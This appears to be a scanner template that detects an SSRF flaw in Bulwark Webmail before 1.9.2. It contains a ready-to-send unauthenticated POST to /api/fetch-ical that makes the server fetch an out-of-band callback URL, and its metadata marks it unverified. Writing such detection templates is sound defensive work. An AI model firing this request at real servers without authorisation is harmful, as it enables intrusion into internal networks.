id: CVE-2026-113728

info:
  name: "Bulwark Webmail - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Bulwark Webmail before 1.9.2 exposes an unauthenticated POST /api/fetch-ical endpoint that
    validates a caller-supplied hostname with a single DNS lookup and then fetches the supplied
    URL, allowing an unauthenticated attacker to coerce the server into issuing requests to
    attacker-chosen hosts (server-side request forgery) and return up to 10 MB of the response.
    The fix adds authentication, so a vulnerable instance performs the out-of-band request while
    a patched instance rejects the unauthenticated call with HTTP 401.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-113728&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=bulwark&match=exact
  classification:
    cve-id: CVE-2026-113728
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,bulwark,ssrf

http:
  - raw:
      - |
        POST /api/fetch-ical HTTP/1.1
        Host: {{Host}}
        Content-Type: application/json

        {"url":"https://{{interactsh-url}}/feed.ics"}
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
      - type: dsl
        dsl:
          - "status_code != 401"